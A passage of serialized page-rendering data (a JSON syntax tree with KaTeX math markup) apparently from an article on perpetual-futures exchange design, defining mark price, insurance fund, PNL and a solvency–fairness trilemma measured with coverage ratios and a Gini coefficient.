tag":83,"props":162600,"children":162602},{"className":162601},[3865],[162603],{"type":29,"value":3868},{"type":24,"tag":83,"props":162605,"children":162607},{"className":162606,"style":3872},[3833],[],{"type":24,"tag":83,"props":162609,"children":162611},{"className":162610,"style":3872},[3833],[],{"type":24,"tag":83,"props":162613,"children":162615},{"className":162614},[3753],[162616],{"type":29,"value":1166},{"type":24,"tag":83,"props":162618,"children":162620},{"className":162619},[21479],[162621],{"type":29,"value":2872},{"type":24,"tag":83,"props":162623,"children":162624},{"style":161118},[162625,162629],{"type":24,"tag":83,"props":162626,"children":162628},{"className":162627,"style":160480},[3793],[],{"type":24,"tag":83,"props":162630,"children":162632},{"className":162631},[3753],[162633,162637,162641,162646,162650,162713,162717],{"type":24,"tag":83,"props":162634,"children":162636},{"className":162635},[3753],[],{"type":24,"tag":83,"props":162638,"children":162640},{"className":162639,"style":3931},[3833],[],{"type":24,"tag":83,"props":162642,"children":162644},{"className":162643},[3936],[162645],{"type":29,"value":1275},{"type":24,"tag":83,"props":162647,"children":162649},{"className":162648,"style":3931},[3833],[],{"type":24,"tag":83,"props":162651,"children":162653},{"className":162652},[21364,162304],[162654],{"type":24,"tag":83,"props":162655,"children":162657},{"className":162656},[3774,21382],[162658,162702],{"type":24,"tag":83,"props":162659,"children":162661},{"className":162660},[3779],[162662,162697],{"type":24,"tag":83,"props":162663,"children":162665},{"className":162664,"style":162317},[3784],[162666,162682],{"type":24,"tag":83,"props":162667,"children":162668},{"style":162321},[162669,162673],{"type":24,"tag":83,"props":162670,"children":162672},{"className":162671,"style":162326},[3793],[],{"type":24,"tag":83,"props":162674,"children":162676},{"className":162675},[3799,3800,3801,3802],[162677],{"type":24,"tag":83,"props":162678,"children":162680},{"className":162679},[3753,21328,3802],[162681],{"type":29,"value":3482},{"type":24,"tag":83,"props":162683,"children":162684},{"style":162339},[162685,162689],{"type":24,"tag":83,"props":162686,"children":162688},{"className":162687,"style":162326},[3793],[],{"type":24,"tag":83,"props":162690,"children":162691},{},[162692],{"type":24,"tag":83,"props":162693,"children":162695},{"className":162694},[21364,21369,162351],[162696],{"type":29,"value":108375},{"type":24,"tag":83,"props":162698,"children":162700},{"className":162699},[21485],[162701],{"type":29,"value":21488},{"type":24,"tag":83,"props":162703,"children":162705},{"className":162704},[3779],[162706],{"type":24,"tag":83,"props":162707,"children":162709},{"className":162708,"style":162366},[3784],[162710],{"type":24,"tag":83,"props":162711,"children":162712},{},[],{"type":24,"tag":83,"props":162714,"children":162716},{"className":162715,"style":3872},[3833],[],{"type":24,"tag":83,"props":162718,"children":162720},{"className":162719},[3753],[162721,162726],{"type":24,"tag":83,"props":162722,"children":162724},{"className":162723,"style":121860},[3753,21328],[162725],{"type":29,"value":49288},{"type":24,"tag":83,"props":162727,"children":162729},{"className":162728},[3769],[162730],{"type":24,"tag":83,"props":162731,"children":162733},{"className":162732},[3774,21382],[162734,162763],{"type":24,"tag":83,"props":162735,"children":162737},{"className":162736},[3779],[162738,162758],{"type":24,"tag":83,"props":162739,"children":162741},{"className":162740,"style":93289},[3784],[162742],{"type":24,"tag":83,"props":162743,"children":162744},{"style":160808},[162745,162749],{"type":24,"tag":83,"props":162746,"children":162748},{"className":162747,"style":3794},[3793],[],{"type":24,"tag":83,"props":162750,"children":162752},{"className":162751},[3799,3800,3801,3802],[162753],{"type":24,"tag":83,"props":162754,"children":162756},{"className":162755},[3753,21328,3802],[162757],{"type":29,"value":3482},{"type":24,"tag":83,"props":162759,"children":162761},{"className":162760},[21485],[162762],{"type":29,"value":21488},{"type":24,"tag":83,"props":162764,"children":162766},{"className":162765},[3779],[162767],{"type":24,"tag":83,"props":162768,"children":162770},{"className":162769,"style":92843},[3784],[162771],{"type":24,"tag":83,"props":162772,"children":162773},{},[],{"type":24,"tag":83,"props":162775,"children":162776},{"style":161189},[162777,162781],{"type":24,"tag":83,"props":162778,"children":162780},{"className":162779,"style":160480},[3793],[],{"type":24,"tag":83,"props":162782,"children":162784},{"className":162783},[3753],[162785,162789,162793,162798,162802,162807,162812,162869,162873,162878,162882,162887,162891,162896,162900,162957,162962,162966,162970,162975],{"type":24,"tag":83,"props":162786,"children":162788},{"className":162787},[3753],[],{"type":24,"tag":83,"props":162790,"children":162792},{"className":162791,"style":3931},[3833],[],{"type":24,"tag":83,"props":162794,"children":162796},{"className":162795},[3936],[162797],{"type":29,"value":1275},{"type":24,"tag":83,"props":162799,"children":162801},{"className":162800,"style":3931},[3833],[],{"type":24,"tag":83,"props":162803,"children":162805},{"className":162804},[21364],[162806],{"type":29,"value":160194},{"type":24,"tag":83,"props":162808,"children":162810},{"className":162809},[21457],[162811],{"type":29,"value":558},{"type":24,"tag":83,"props":162813,"children":162815},{"className":162814},[3753],[162816,162821],{"type":24,"tag":83,"props":162817,"children":162819},{"className":162818,"style":92760},[3753,21328],[162820],{"type":29,"value":161067},{"type":24,"tag":83,"props":162822,"children":162824},{"className":162823},[3769],[162825],{"type":24,"tag":83,"props":162826,"children":162828},{"className":162827},[3774,21382],[162829,162858],{"type":24,"tag":83,"props":162830,"children":162832},{"className":162831},[3779],[162833,162853],{"type":24,"tag":83,"props":162834,"children":162836},{"className":162835,"style":142135},[3784],[162837],{"type":24,"tag":83,"props":162838,"children":162839},{"style":109579},[162840,162844],{"type":24,"tag":83,"props":162841,"children":162843},{"className":162842,"style":3794},[3793],[],{"type":24,"tag":83,"props":162845,"children":162847},{"className":162846},[3799,3800,3801,3802],[162848],{"type":24,"tag":83,"props":162849,"children":162851},{"className":162850,"style":21329},[3753,21328,3802],[162852],{"type":29,"value":5733},{"type":24,"tag":83,"props":162854,"children":162856},{"className":162855},[21485],[162857],{"type":29,"value":21488},{"type":24,"tag":83,"props":162859,"children":162861},{"className":162860},[3779],[162862],{"type":24,"tag":83,"props":162863,"children":162865},{"className":162864,"style":92843},[3784],[162866],{"type":24,"tag":83,"props":162867,"children":162868},{},[],{"type":24,"tag":83,"props":162870,"children":162872},{"className":162871,"style":3834},[3833],[],{"type":24,"tag":83,"props":162874,"children":162876},{"className":162875},[3839],[162877],{"type":29,"value":3813},{"type":24,"tag":83,"props":162879,"children":162881},{"className":162880,"style":3834},[3833],[],{"type":24,"tag":83,"props":162883,"children":162885},{"className":162884,"style":94780},[3753,21328],[162886],{"type":29,"value":94814},{"type":24,"tag":83,"props":162888,"children":162890},{"className":162889,"style":3834},[3833],[],{"type":24,"tag":83,"props":162892,"children":162894},{"className":162893},[3839],[162895],{"type":29,"value":3813},{"type":24,"tag":83,"props":162897,"children":162899},{"className":162898,"style":3834},[3833],[],{"type":24,"tag":83,"props":162901,"children":162903},{"className":162902},[3753],[162904,162909],{"type":24,"tag":83,"props":162905,"children":162907},{"className":162906,"style":92994},[3753,21328],[162908],{"type":29,"value":92997},{"type":24,"tag":83,"props":162910,"children":162912},{"className":162911},[3769],[162913],{"type":24,"tag":83,"props":162914,"children":162916},{"className":162915},[3774,21382],[162917,162946],{"type":24,"tag":83,"props":162918,"children":162920},{"className":162919},[3779],[162921,162941],{"type":24,"tag":83,"props":162922,"children":162924},{"className":162923,"style":142135},[3784],[162925],{"type":24,"tag":83,"props":162926,"children":162927},{"style":110009},[162928,162932],{"type":24,"tag":83,"props":162929,"children":162931},{"className":162930,"style":3794},[3793],[],{"type":24,"tag":83,"props":162933,"children":162935},{"className":162934},[3799,3800,3801,3802],[162936],{"type":24,"tag":83,"props":162937,"children":162939},{"className":162938,"style":21329},[3753,21328,3802],[162940],{"type":29,"value":5733},{"type":24,"tag":83,"props":162942,"children":162944},{"className":162943},[21485],[162945],{"type":29,"value":21488},{"type":24,"tag":83,"props":162947,"children":162949},{"className":162948},[3779],[162950],{"type":24,"tag":83,"props":162951,"children":162953},{"className":162952,"style":92843},[3784],[162954],{"type":24,"tag":83,"props":162955,"children":162956},{},[],{"type":24,"tag":83,"props":162958,"children":162960},{"className":162959},[3865],[162961],{"type":29,"value":3868},{"type":24,"tag":83,"props":162963,"children":162965},{"className":162964,"style":3872},[3833],[],{"type":24,"tag":83,"props":162967,"children":162969},{"className":162968,"style":3872},[3833],[],{"type":24,"tag":83,"props":162971,"children":162973},{"className":162972},[3753],[162974],{"type":29,"value":1166},{"type":24,"tag":83,"props":162976,"children":162978},{"className":162977},[21479],[162979],{"type":29,"value":2872},{"type":24,"tag":83,"props":162981,"children":162983},{"className":162982},[21485],[162984],{"type":29,"value":21488},{"type":24,"tag":83,"props":162986,"children":162988},{"className":162987},[3779],[162989],{"type":24,"tag":83,"props":162990,"children":162992},{"className":162991,"style":161270},[3784],[162993],{"type":24,"tag":83,"props":162994,"children":162995},{},[],{"type":24,"tag":25,"props":162997,"children":162998},{},[162999,163000,163077,163079,163104,163106,163183,163185,163262],{"type":29,"value":558},{"type":24,"tag":32,"props":163001,"children":163003},{"className":163002},[3726,3727],[163004],{"type":24,"tag":83,"props":163005,"children":163007},{"className":163006},[3732],[163008],{"type":24,"tag":83,"props":163009,"children":163011},{"className":163010,"ariaHidden":1237},[3737],[163012],{"type":24,"tag":83,"props":163013,"children":163015},{"className":163014},[3742],[163016,163020],{"type":24,"tag":83,"props":163017,"children":163019},{"className":163018,"style":110577},[3747],[],{"type":24,"tag":83,"props":163021,"children":163023},{"className":163022},[3753],[163024,163029],{"type":24,"tag":83,"props":163025,"children":163027},{"className":163026,"style":21329},[3753,21328],[163028],{"type":29,"value":21332},{"type":24,"tag":83,"props":163030,"children":163032},{"className":163031},[3769],[163033],{"type":24,"tag":83,"props":163034,"children":163036},{"className":163035},[3774,21382],[163037,163066],{"type":24,"tag":83,"props":163038,"children":163040},{"className":163039},[3779],[163041,163061],{"type":24,"tag":83,"props":163042,"children":163044},{"className":163043,"style":109012},[3784],[163045],{"type":24,"tag":83,"props":163046,"children":163047},{"style":160513},[163048,163052],{"type":24,"tag":83,"props":163049,"children":163051},{"className":163050,"style":3794},[3793],[],{"type":24,"tag":83,"props":163053,"children":163055},{"className":163054},[3799,3800,3801,3802],[163056],{"type":24,"tag":83,"props":163057,"children":163059},{"className":163058},[3753,21328,3802],[163060],{"type":29,"value":56117},{"type":24,"tag":83,"props":163062,"children":163064},{"className":163063},[21485],[163065],{"type":29,"value":21488},{"type":24,"tag":83,"props":163067,"children":163069},{"className":163068},[3779],[163070],{"type":24,"tag":83,"props":163071,"children":163073},{"className":163072,"style":92843},[3784],[163074],{"type":24,"tag":83,"props":163075,"children":163076},{},[],{"type":29,"value":163078},": mark price from different sources; ",{"type":24,"tag":32,"props":163080,"children":163082},{"className":163081},[3726,3727],[163083],{"type":24,"tag":83,"props":163084,"children":163086},{"className":163085},[3732],[163087],{"type":24,"tag":83,"props":163088,"children":163090},{"className":163089,"ariaHidden":1237},[3737],[163091],{"type":24,"tag":83,"props":163092,"children":163094},{"className":163093},[3742],[163095,163099],{"type":24,"tag":83,"props":163096,"children":163098},{"className":163097,"style":21323},[3747],[],{"type":24,"tag":83,"props":163100,"children":163102},{"className":163101,"style":94780},[3753,21328],[163103],{"type":29,"value":94814},{"type":29,"value":163105},": insurance fund, roughly the 5M on testnet HL; ",{"type":24,"tag":32,"props":163107,"children":163109},{"className":163108},[3726,3727],[163110],{"type":24,"tag":83,"props":163111,"children":163113},{"className":163112},[3732],[163114],{"type":24,"tag":83,"props":163115,"children":163117},{"className":163116,"ariaHidden":1237},[3737],[163118],{"type":24,"tag":83,"props":163119,"children":163121},{"className":163120},[3742],[163122,163126],{"type":24,"tag":83,"props":163123,"children":163125},{"className":163124,"style":109550},[3747],[],{"type":24,"tag":83,"props":163127,"children":163129},{"className":163128},[3753],[163130,163135],{"type":24,"tag":83,"props":163131,"children":163133},{"className":163132,"style":93246},[3753,21328],[163134],{"type":29,"value":160651},{"type":24,"tag":83,"props":163136,"children":163138},{"className":163137},[3769],[163139],{"type":24,"tag":83,"props":163140,"children":163142},{"className":163141},[3774,21382],[163143,163172],{"type":24,"tag":83,"props":163144,"children":163146},{"className":163145},[3779],[163147,163167],{"type":24,"tag":83,"props":163148,"children":163150},{"className":163149,"style":93289},[3784],[163151],{"type":24,"tag":83,"props":163152,"children":163153},{"style":93293},[163154,163158],{"type":24,"tag":83,"props":163155,"children":163157},{"className":163156,"style":3794},[3793],[],{"type":24,"tag":83,"props":163159,"children":163161},{"className":163160},[3799,3800,3801,3802],[163162],{"type":24,"tag":83,"props":163163,"children":163165},{"className":163164},[3753,21328,3802],[163166],{"type":29,"value":3482},{"type":24,"tag":83,"props":163168,"children":163170},{"className":163169},[21485],[163171],{"type":29,"value":21488},{"type":24,"tag":83,"props":163173,"children":163175},{"className":163174},[3779],[163176],{"type":24,"tag":83,"props":163177,"children":163179},{"className":163178,"style":92843},[3784],[163180],{"type":24,"tag":83,"props":163181,"children":163182},{},[],{"type":29,"value":163184}," is PNL for longs, negated for shorts; ",{"type":24,"tag":32,"props":163186,"children":163188},{"className":163187},[3726,3727],[163189],{"type":24,"tag":83,"props":163190,"children":163192},{"className":163191},[3732],[163193],{"type":24,"tag":83,"props":163194,"children":163196},{"className":163195,"ariaHidden":1237},[3737],[163197],{"type":24,"tag":83,"props":163198,"children":163200},{"className":163199},[3742],[163201,163205],{"type":24,"tag":83,"props":163202,"children":163204},{"className":163203,"style":109550},[3747],[],{"type":24,"tag":83,"props":163206,"children":163208},{"className":163207},[3753],[163209,163214],{"type":24,"tag":83,"props":163210,"children":163212},{"className":163211,"style":121860},[3753,21328],[163213],{"type":29,"value":49288},{"type":24,"tag":83,"props":163215,"children":163217},{"className":163216},[3769],[163218],{"type":24,"tag":83,"props":163219,"children":163221},{"className":163220},[3774,21382],[163222,163251],{"type":24,"tag":83,"props":163223,"children":163225},{"className":163224},[3779],[163226,163246],{"type":24,"tag":83,"props":163227,"children":163229},{"className":163228,"style":93289},[3784],[163230],{"type":24,"tag":83,"props":163231,"children":163232},{"style":160808},[163233,163237],{"type":24,"tag":83,"props":163234,"children":163236},{"className":163235,"style":3794},[3793],[],{"type":24,"tag":83,"props":163238,"children":163240},{"className":163239},[3799,3800,3801,3802],[163241],{"type":24,"tag":83,"props":163242,"children":163244},{"className":163243},[3753,21328,3802],[163245],{"type":29,"value":3482},{"type":24,"tag":83,"props":163247,"children":163249},{"className":163248},[21485],[163250],{"type":29,"value":21488},{"type":24,"tag":83,"props":163252,"children":163254},{"className":163253},[3779],[163255],{"type":24,"tag":83,"props":163256,"children":163258},{"className":163257,"style":92843},[3784],[163259],{"type":24,"tag":83,"props":163260,"children":163261},{},[],{"type":29,"value":163263}," is the positive part of PNL.)",{"type":24,"tag":25,"props":163265,"children":163266},{},[163267],{"type":29,"value":163268},"And let's make the trilemma definitions concrete:",{"type":24,"tag":16422,"props":163270,"children":163271},{},[163272,163746,164310],{"type":24,"tag":67,"props":163273,"children":163274},{},[163275,163279,163280,163534,163536,163587,163589,163692,163693,163744],{"type":24,"tag":2655,"props":163276,"children":163277},{},[163278],{"type":29,"value":160392},{"type":29,"value":32650},{"type":24,"tag":32,"props":163281,"children":163283},{"className":163282},[3726,3727],[163284],{"type":24,"tag":83,"props":163285,"children":163287},{"className":163286},[3732],[163288],{"type":24,"tag":83,"props":163289,"children":163291},{"className":163290,"ariaHidden":1237},[3737],[163292,163319],{"type":24,"tag":83,"props":163293,"children":163295},{"className":163294},[3742],[163296,163301,163306,163310,163315],{"type":24,"tag":83,"props":163297,"children":163300},{"className":163298,"style":163299},[3747],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":24,"tag":83,"props":163302,"children":163304},{"className":163303},[3753],[163305],{"type":29,"value":3756},{"type":24,"tag":83,"props":163307,"children":163309},{"className":163308,"style":3834},[3833],[],{"type":24,"tag":83,"props":163311,"children":163313},{"className":163312},[3839],[163314],{"type":29,"value":3813},{"type":24,"tag":83,"props":163316,"children":163318},{"className":163317,"style":3834},[3833],[],{"type":24,"tag":83,"props":163320,"children":163322},{"className":163321},[3742],[163323,163328],{"type":24,"tag":83,"props":163324,"children":163327},{"className":163325,"style":163326},[3747],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":24,"tag":83,"props":163329,"children":163331},{"className":163330},[3753],[163332,163336,163530],{"type":24,"tag":83,"props":163333,"children":163335},{"className":163334},[21457,113098],[],{"type":24,"tag":83,"props":163337,"children":163339},{"className":163338},[113103],[163340],{"type":24,"tag":83,"props":163341,"children":163343},{"className":163342},[3774,21382],[163344,163518],{"type":24,"tag":83,"props":163345,"children":163347},{"className":163346},[3779],[163348,163513],{"type":24,"tag":83,"props":163349,"children":163352},{"className":163350,"style":163351},[3784],"height:0.8884em;",[163353,163427,163438],{"type":24,"tag":83,"props":163354,"children":163355},{"style":113120},[163356,163360],{"type":24,"tag":83,"props":163357,"children":163359},{"className":163358,"style":111751},[3793],[],{"type":24,"tag":83,"props":163361,"children":163363},{"className":163362},[3799,3800,3801,3802],[163364],{"type":24,"tag":83,"props":163365,"children":163367},{"className":163366},[3753,3802],[163368],{"type":24,"tag":83,"props":163369,"children":163371},{"className":163370},[3753,3802],[163372,163377],{"type":24,"tag":83,"props":163373,"children":163375},{"className":163374,"style":92760},[3753,21328,3802],[163376],{"type":29,"value":161067},{"type":24,"tag":83,"props":163378,"children":163380},{"className":163379},[3769],[163381],{"type":24,"tag":83,"props":163382,"children":163384},{"className":163383},[3774,21382],[163385,163415],{"type":24,"tag":83,"props":163386,"children":163388},{"className":163387},[3779],[163389,163410],{"type":24,"tag":83,"props":163390,"children":163392},{"className":163391,"style":111912},[3784],[163393],{"type":24,"tag":83,"props":163394,"children":163396},{"style":163395},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[163397,163401],{"type":24,"tag":83,"props":163398,"children":163400},{"className":163399,"style":108440},[3793],[],{"type":24,"tag":83,"props":163402,"children":163404},{"className":163403},[3799,108445,108446,3802],[163405],{"type":24,"tag":83,"props":163406,"children":163408},{"className":163407,"style":21329},[3753,21328,3802],[163409],{"type":29,"value":5733},{"type":24,"tag":83,"props":163411,"children":163413},{"className":163412},[21485],[163414],{"type":29,"value":21488},{"type":24,"tag":83,"props":163416,"children":163418},{"className":163417},[3779],[163419],{"type":24,"tag":83,"props":163420,"children":163423},{"className":163421,"style":163422},[3784],"height:0.1433em;",[163424],{"type":24,"tag":83,"props":163425,"children":163426},{},[],{"type":24,"tag":83,"props":163428,"children":163429},{"style":113153},[163430,163434],{"type":24,"tag":83,"props":163431,"children":163433},{"className":163432,"style":111751},[3793],[],{"type":24,"tag":83,"props":163435,"children":163437},{"className":163436,"style":113163},[113162],[],{"type":24,"tag":83,"props":163439,"children":163441},{"style":163440},"top:-3.4101em;",[163442,163446],{"type":24,"tag":83,"props":163443,"children":163445},{"className":163444,"style":111751},[3793],[],{"type":24,"tag":83,"props":163447,"children":163449},{"className":163448},[3799,3800,3801,3802],[163450],{"type":24,"tag":83,"props":163451,"children":163453},{"className":163452},[3753,3802],[163454],{"type":24,"tag":83,"props":163455,"children":163457},{"className":163456},[3753,3802],[163458,163463],{"type":24,"tag":83,"props":163459,"children":163461},{"className":163460,"style":122357},[3753,21328,3802],[163462],{"type":29,"value":122360},{"type":24,"tag":83,"props":163464,"children":163466},{"className":163465},[3769],[163467],{"type":24,"tag":83,"props":163468,"children":163470},{"className":163469},[3774,21382],[163471,163502],{"type":24,"tag":83,"props":163472,"children":163474},{"className":163473},[3779],[163475,163497],{"type":24,"tag":83,"props":163476,"children":163479},{"className":163477,"style":163478},[3784],"height:0.2963em;",[163480],{"type":24,"tag":83,"props":163481,"children":163483},{"style":163482},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[163484,163488],{"type":24,"tag":83,"props":163485,"children":163487},{"className":163486,"style":108440},[3793],[],{"type":24,"tag":83,"props":163489,"children":163491},{"className":163490},[3799,108445,108446,3802],[163492],{"type":24,"tag":83,"props":163493,"children":163495},{"className":163494},[3753,21328,3802],[163496],{"type":29,"value":21470},{"type":24,"tag":83,"props":163498,"children":163500},{"className":163499},[21485],[163501],{"type":29,"value":21488},{"type":24,"tag":83,"props":163503,"children":163505},{"className":163504},[3779],[163506],{"type":24,"tag":83,"props":163507,"children":163509},{"className":163508,"style":108465},[3784],[163510],{"type":24,"tag":83,"props":163511,"children":163512},{},[],{"type":24,"tag":83,"props":163514,"children":163516},{"className":163515},[21485],[163517],{"type":29,"value":21488},{"type":24,"tag":83,"props":163519,"children":163521},{"className":163520},[3779],[163522],{"type":24,"tag":83,"props":163523,"children":163526},{"className":163524,"style":163525},[3784],"height:0.4453em;",[163527],{"type":24,"tag":83,"props":163528,"children":163529},{},[],{"type":24,"tag":83,"props":163531,"children":163533},{"className":163532},[21479,113098],[],{"type":29,"value":163535}," — how much of the total bad debt was actually covered. ",{"type":24,"tag":32,"props":163537,"children":163539},{"className":163538},[3726,3727],[163540],{"type":24,"tag":83,"props":163541,"children":163543},{"className":163542},[3732],[163544],{"type":24,"tag":83,"props":163545,"children":163547},{"className":163546,"ariaHidden":1237},[3737],[163548,163574],{"type":24,"tag":83,"props":163549,"children":163551},{"className":163550},[3742],[163552,163556,163561,163565,163570],{"type":24,"tag":83,"props":163553,"children":163555},{"className":163554,"style":21323},[3747],[],{"type":24,"tag":83,"props":163557,"children":163559},{"className":163558,"style":21787},[3753,21328],[163560],{"type":29,"value":21790},{"type":24,"tag":83,"props":163562,"children":163564},{"className":163563,"style":3931},[3833],[],{"type":24,"tag":83,"props":163566,"children":163568},{"className":163567},[3936],[163569],{"type":29,"value":1275},{"type":24,"tag":83,"props":163571,"children":163573},{"className":163572,"style":3931},[3833],[],{"type":24,"tag":83,"props":163575,"children":163577},{"className":163576},[3742],[163578,163582],{"type":24,"tag":83,"props":163579,"children":163581},{"className":163580,"style":93791},[3747],[],{"type":24,"tag":83,"props":163583,"children":163585},{"className":163584},[3753],[163586],{"type":29,"value":3756},{"type":29,"value":163588}," means fully solvent (",{"type":24,"tag":32,"props":163590,"children":163592},{"className":163591},[3726,3727],[163593],{"type":24,"tag":83,"props":163594,"children":163596},{"className":163595},[3732],[163597],{"type":24,"tag":83,"props":163598,"children":163600},{"className":163599,"ariaHidden":1237},[3737],[163601,163679],{"type":24,"tag":83,"props":163602,"children":163604},{"className":163603},[3742],[163605,163609,163666,163670,163675],{"type":24,"tag":83,"props":163606,"children":163608},{"className":163607,"style":110577},[3747],[],{"type":24,"tag":83,"props":163610,"children":163612},{"className":163611},[3753],[163613,163618],{"type":24,"tag":83,"props":163614,"children":163616},{"className":163615,"style":122357},[3753,21328],[163617],{"type":29,"value":122360},{"type":24,"tag":83,"props":163619,"children":163621},{"className":163620},[3769],[163622],{"type":24,"tag":83,"props":163623,"children":163625},{"className":163624},[3774,21382],[163626,163655],{"type":24,"tag":83,"props":163627,"children":163629},{"className":163628},[3779],[163630,163650],{"type":24,"tag":83,"props":163631,"children":163633},{"className":163632,"style":161223},[3784],[163634],{"type":24,"tag":83,"props":163635,"children":163636},{"style":161227},[163637,163641],{"type":24,"tag":83,"props":163638,"children":163640},{"className":163639,"style":3794},[3793],[],{"type":24,"tag":83,"props":163642,"children":163644},{"className":163643},[3799,3800,3801,3802],[163645],{"type":24,"tag":83,"props":163646,"children":163648},{"className":163647},[3753,21328,3802],[163649],{"type":29,"value":21470},{"type":24,"tag":83,"props":163651,"children":163653},{"className":163652},[21485],[163654],{"type":29,"value":21488},{"type":24,"tag":83,"props":163656,"children":163658},{"className":163657},[3779],[163659],{"type":24,"tag":83,"props":163660,"children":163662},{"className":163661,"style":92843},[3784],[163663],{"type":24,"tag":83,"props":163664,"children":163665},{},[],{"type":24,"tag":83,"props":163667,"children":163669},{"className":163668,"style":3931},[3833],[],{"type":24,"tag":83,"props":163671,"children":163673},{"className":163672},[3936],[163674],{"type":29,"value":1275},{"type":24,"tag":83,"props":163676,"children":163678},{"className":163677,"style":3931},[3833],[],{"type":24,"tag":83,"props":163680,"children":163682},{"className":163681},[3742],[163683,163687],{"type":24,"tag":83,"props":163684,"children":163686},{"className":163685,"style":93791},[3747],[],{"type":24,"tag":83,"props":163688,"children":163690},{"className":163689},[3753],[163691],{"type":29,"value":1166},{"type":29,"value":14918},{"type":24,"tag":32,"props":163694,"children":163696},{"className":163695},[3726,3727],[163697],{"type":24,"tag":83,"props":163698,"children":163700},{"className":163699},[3732],[163701],{"type":24,"tag":83,"props":163702,"children":163704},{"className":163703,"ariaHidden":1237},[3737],[163705,163731],{"type":24,"tag":83,"props":163706,"children":163708},{"className":163707},[3742],[163709,163713,163718,163722,163727],{"type":24,"tag":83,"props":163710,"children":163712},{"className":163711,"style":21323},[3747],[],{"type":24,"tag":83,"props":163714,"children":163716},{"className":163715,"style":21787},[3753,21328],[163717],{"type":29,"value":21790},{"type":24,"tag":83,"props":163719,"children":163721},{"className":163720,"style":3931},[3833],[],{"type":24,"tag":83,"props":163723,"children":163725},{"className":163724},[3936],[163726],{"type":29,"value":1275},{"type":24,"tag":83,"props":163728,"children":163730},{"className":163729,"style":3931},[3833],[],{"type":24,"tag":83,"props":163732,"children":163734},{"className":163733},[3742],[163735,163739],{"type":24,"tag":83,"props":163736,"children":163738},{"className":163737,"style":93791},[3747],[],{"type":24,"tag":83,"props":163740,"children":163742},{"className":163741},[3753],[163743],{"type":29,"value":1166},{"type":29,"value":163745}," means nothing was recovered.",{"type":24,"tag":67,"props":163747,"children":163748},{},[163749,163753,163754,163877,163878,164095,164097,164201,164203,164254,164256,164308],{"type":24,"tag":2655,"props":163750,"children":163751},{},[163752],{"type":29,"value":160402},{"type":29,"value":32650},{"type":24,"tag":32,"props":163755,"children":163757},{"className":163756},[3726,3727],[163758],{"type":24,"tag":83,"props":163759,"children":163761},{"className":163760},[3732],[163762],{"type":24,"tag":83,"props":163763,"children":163765},{"className":163764,"ariaHidden":1237},[3737],[163766,163792],{"type":24,"tag":83,"props":163767,"children":163769},{"className":163768},[3742],[163770,163774,163779,163783,163788],{"type":24,"tag":83,"props":163771,"children":163773},{"className":163772,"style":163299},[3747],[],{"type":24,"tag":83,"props":163775,"children":163777},{"className":163776},[3753],[163778],{"type":29,"value":3756},{"type":24,"tag":83,"props":163780,"children":163782},{"className":163781,"style":3834},[3833],[],{"type":24,"tag":83,"props":163784,"children":163786},{"className":163785},[3839],[163787],{"type":29,"value":3813},{"type":24,"tag":83,"props":163789,"children":163791},{"className":163790,"style":3834},[3833],[],{"type":24,"tag":83,"props":163793,"children":163795},{"className":163794},[3742],[163796,163800,163810,163815,163872],{"type":24,"tag":83,"props":163797,"children":163799},{"className":163798,"style":3854},[3747],[],{"type":24,"tag":83,"props":163801,"children":163803},{"className":163802},[3753,29],[163804],{"type":24,"tag":83,"props":163805,"children":163807},{"className":163806},[3753],[163808],{"type":29,"value":163809},"Gini",{"type":24,"tag":83,"props":163811,"children":163813},{"className":163812},[21457],[163814],{"type":29,"value":558},{"type":24,"tag":83,"props":163816,"children":163818},{"className":163817},[3753],[163819,163824],{"type":24,"tag":83,"props":163820,"children":163822},{"className":163821},[3753,21328],[163823],{"type":29,"value":84058},{"type":24,"tag":83,"props":163825,"children":163827},{"className":163826},[3769],[163828],{"type":24,"tag":83,"props":163829,"children":163831},{"className":163830},[3774,21382],[163832,163861],{"type":24,"tag":83,"props":163833,"children":163835},{"className":163834},[3779],[163836,163856],{"type":24,"tag":83,"props":163837,"children":163839},{"className":163838,"style":93289},[3784],[163840],{"type":24,"tag":83,"props":163841,"children":163842},{"style":92816},[163843,163847],{"type":24,"tag":83,"props":163844,"children":163846},{"className":163845,"style":3794},[3793],[],{"type":24,"tag":83,"props":163848,"children":163850},{"className":163849},[3799,3800,3801,3802],[163851],{"type":24,"tag":83,"props":163852,"children":163854},{"className":163853},[3753,21328,3802],[163855],{"type":29,"value":3482},{"type":24,"tag":83,"props":163857,"children":163859},{"className":163858},[21485],[163860],{"type":29,"value":21488},{"type":24,"tag":83,"props":163862,"children":163864},{"className":163863},[3779],[163865],{"type":24,"tag":83,"props":163866,"children":163868},{"className":163867,"style":92843},[3784],[163869],{"type":24,"tag":83,"props":163870,"children":163871},{},[],{"type":24,"tag":83,"props":163873,"children":163875},{"className":163874},[21479],[163876],{"type":29,"value":2872},{"type":29,"value":7069},{"type":24,"tag":32,"props":163879,"children":163881},{"className":163880},[3726,3727],[163882],{"type":24,"tag":83,"props":163883,"children":163885},{"className":163884},[3732],[163886],{"type":24,"tag":83,"props":163887,"children":163889},{"className":163888,"ariaHidden":1237},[3737],[163890,163968],{"type":24,"tag":83,"props":163891,"children":163893},{"className":163892},[3742],[163894,163898,163955,163959,163964],{"type":24,"tag":83,"props":163895,"children":163897},{"className":163896,"style":141859},[3747],[],{"type":24,"tag":83,"props":163899,"children":163901},{"className":163900},[3753],[163902,163907],{"type":24,"tag":83,"props":163903,"children":163905},{"className":163904},[3753,21328],[163906],{"type":29,"value":84058},{"type":24,"tag":83,"props":163908,"children":163910},{"className":163909},[3769],[163911],{"type":24,"tag":83,"props":163912,"children":163914},{"className":163913},[3774,21382],[163915,163944],{"type":24,"tag":83,"props":163916,"children":163918},{"className":163917},[3779],[163919,163939],{"type":24,"tag":83,"props":163920,"children":163922},{"className":163921,"style":93289},[3784],[163923],{"type":24,"tag":83,"props":163924,"children":163925},{"style":92816},[163926,163930],{"type":24,"tag":83,"props":163927,"children":163929},{"className":163928,"style":3794},[3793],[],{"type":24,"tag":83,"props":163931,"children":163933},{"className":163932},[3799,3800,3801,3802],[163934],{"type":24,"tag":83,"props":163935,"children":163937},{"className":163936},[3753,21328,3802],[163938],{"type":29,"value":3482},{"type":24,"tag":83,"props":163940,"children":163942},{"className":163941},[21485],[163943],{"type":29,"value":21488},{"type":24,"tag":83,"props":163945,"children":163947},{"className":163946},[3779],[163948],{"type":24,"tag":83,"props":163949,"children":163951},{"className":163950,"style":92843},[3784],[163952],{"type":24,"tag":83,"props":16